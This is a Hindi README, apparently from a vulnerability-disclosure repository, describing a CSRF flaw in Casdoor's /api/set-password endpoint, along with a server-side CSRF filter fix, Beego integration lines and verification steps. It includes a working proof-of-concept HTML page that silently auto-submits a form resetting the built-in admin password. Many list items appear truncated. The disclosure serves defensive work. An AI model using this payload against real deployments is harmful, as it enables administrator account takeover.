
सारांश
/api/set-password में CSRF, जो बिना सहमति के पासवर्ड बदलने की अनुमति देता है।प्रभाव
built-in/admin), जिससे खाता अपने कब्ज़े में लिया जा सकता है।हमले की पूर्वापेक्षाएँ
casdoor_session_id कुकी है।/api/set-password पर POST जमा करता है।प्रमाण की अवधारणा (Proof of Concept)
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
मूल कारण
/api/* के अंतर्गत आने वाले राज्य-परिवर्तनकारी एंडपॉइंट कुकी-प्रमाणित अनुरोधों को बिना समान-मूल जाँच (Origin/Referer) या CSRF टोकन लागू किए स्वीकार करते हैं।सुधार का अवलोकन
/api/* के अंतर्गत क्रॉस-साइट, कुकी-आधारित POST/PUT/DELETE/PATCH अनुरोधों को अस्वीकार करने के लिए एक सर्वर-साइड CSRF फ़िल्टर जोड़ें।Authorization, Basic auth, क्लाइंट क्रेडेंशियल्स, या accessToken) या बिना ब्राउज़र सत्र कुकी वाले अनुरोध (विशिष्ट सर्वर-से-सर्वर कॉल)।कार्यान्वयन
csrf_filter.go में लागू routers.CSRFFilter का उपयोग करें। यह फ़िल्टर:
कैसदूर में कैसे एकीकृत करें
csrf_filter.go को कैसदूर प्रोजेक्ट के मौजूदा routers पैकेज में कॉपी करें। इस फ़ाइल में कुछ भी संशोधित या हटाएँ नहीं।main के अंदर):
// Beego v1 style
beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
सत्यापन
Unauthorized operation के साथ अस्वीकार कर दिया जाना चाहिए और सर्वर को CSRF check failed लॉग करना चाहिए।Authorization हेडर या accessToken पैरामीटर शामिल हैं, काम करते रहने चाहिए।रिपॉजिटरी फ़ाइलें
csrf_filter.go: CSRF फ़िल्टर जिसे कैसदूर के routers पैकेज में कॉपी करना है।poc.html: CSRF हमले को दोहराने वाला न्यूनतम पेज।README.md: यह दस्तावेज़ जो भेद्यता और सुधार के चरणों का वर्णन करता है।संदर्भ
वीडियो